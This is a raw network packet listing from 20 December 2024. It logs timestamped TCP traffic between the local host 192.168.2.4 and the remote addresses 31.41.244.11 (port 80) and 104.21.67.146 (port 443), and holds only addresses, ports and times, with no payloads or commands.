Dec 20, 2024 09:12:30.024646044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.024691105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.024704933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.025389910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.025461912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.025571108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.025676966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.026238918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.026403904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.026459932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.027020931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.027075052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.027175903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.027226925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.028057098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.028117895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.028212070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.028827906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.028837919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.028882027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.029005051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.029048920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.029658079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.029704094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.029820919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.029978991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.030467987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.030518055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.177423000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.177540064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.177611113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.177654028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.177841902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.177896023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.177992105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.178066969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.178639889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.178688049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.178734064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.178803921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.179517031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.179574966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.179645061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.179713011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.180286884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.180342913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.180362940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.180411100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.181202888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.181250095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.181381941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.181433916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.182003975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.182051897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.182073116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.182111979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.182845116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.183007002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.183057070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.183700085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.183751106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.183795929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.183893919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.184545040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.184700966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.184750080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.185395002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.185441971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.185559988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.185606956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.186338902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.186388969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.186467886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.186523914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.187083960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.187130928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.187319040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.187370062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.187963009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.188009977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.188134909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.188220024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.188878059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.188932896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.188971043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.189084053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.189665079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.189709902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.189779043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.189836979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.190491915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.190593004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.190603018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.190632105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.191335917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.191390038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.191430092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.191472054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.192171097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.192285061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.192334890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.193049908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.193089962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.193128109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.193177938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.193892002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.193942070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.193989038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.194119930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.194722891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.194825888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.194866896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.194905996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.195589066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.195638895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.195688009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.195732117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.196471930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.196522951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.196568966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.196614027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.197268963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.197331905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.197422981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.197485924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.198137045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.198184013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.198246956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.198348999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.198976040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.199024916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.199064016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.199151039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.199918985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.199966908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.200007915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.200046062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.200690985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.200736046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.200800896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.200845957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.201548100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.201596022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.201659918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.201735020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.202368021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.202410936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.202501059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.202539921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.203277111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.203342915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.203391075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.203430891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.204092026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.204152107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.204191923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.204804897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.204910994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.204963923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.205059052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.205147028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.205775976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.205828905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.205873966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.205916882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.206633091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.206680059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.206753969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.206794977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.207463980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.207577944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.207624912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.208318949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.208355904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.208410978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.208551884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.209186077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.209219933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.209299088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.209347010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.210036039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.210079908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.210127115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.210536003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.210896015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.210944891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.211045980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.211183071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.211724997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.211776018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.211858988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.211898088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.212573051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.212620974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.212632895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.212855101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.213430882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.213480949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.213527918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.213566065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.214319944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.214423895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.214492083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.214554071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.215146065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.215254068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.215293884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.215959072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.216012955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.216053009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.216092110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.216826916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.216872931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.216921091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.217020988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.217715025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.217772007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.217812061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.218110085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.218514919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.218558073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.218621016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.218662977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.219362020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.219429970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.219476938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.219978094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.220208883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.220249891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.220299006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.220336914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.221051931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.221096039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.221174955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.221216917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.221915960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.222014904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.330167055 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.330260038 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.330389023 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.330642939 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.330694914 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.369519949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.369601011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.369606972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.369649887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.369863987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.369900942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.369977951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.370014906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.370718956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.370765924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.371026993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.371068001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.371155024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.371196032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.371857882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.371896029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.371982098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.372019053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.372714996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.372754097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.372824907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.372859955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.373568058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.373605967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.373668909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.373708010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.374418974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.374456882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.374504089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.374542952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.375303030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.375349045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.375407934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.375447035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.376128912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.376168966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.376224041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.376264095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.376966000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.377005100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.377079010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.377119064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.377832890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.377872944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.377918959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.377957106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.378667116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.378705025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.378751040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.378793955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.379514933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.379550934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.379626036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.379664898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.380357981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.380395889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.380428076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.380465031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.381216049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.381253004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.381347895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.381386995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.382060051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.382097960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.382144928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.382183075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.382906914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.382949114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.383038044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.383075953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.383754969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.383795977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.383915901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.383955956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.384597063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.384648085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.384694099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.384753942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.385466099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.385504007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.385550976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.385591984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.386312962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.386356115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.386411905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.386451960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.387197018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.387239933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.387279034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.387327909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.387996912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.388036966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.388118982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.388158083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.388859034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.388899088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.388978004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.389018059 CET	49808	80	192.168.2.4	31.41.244.11
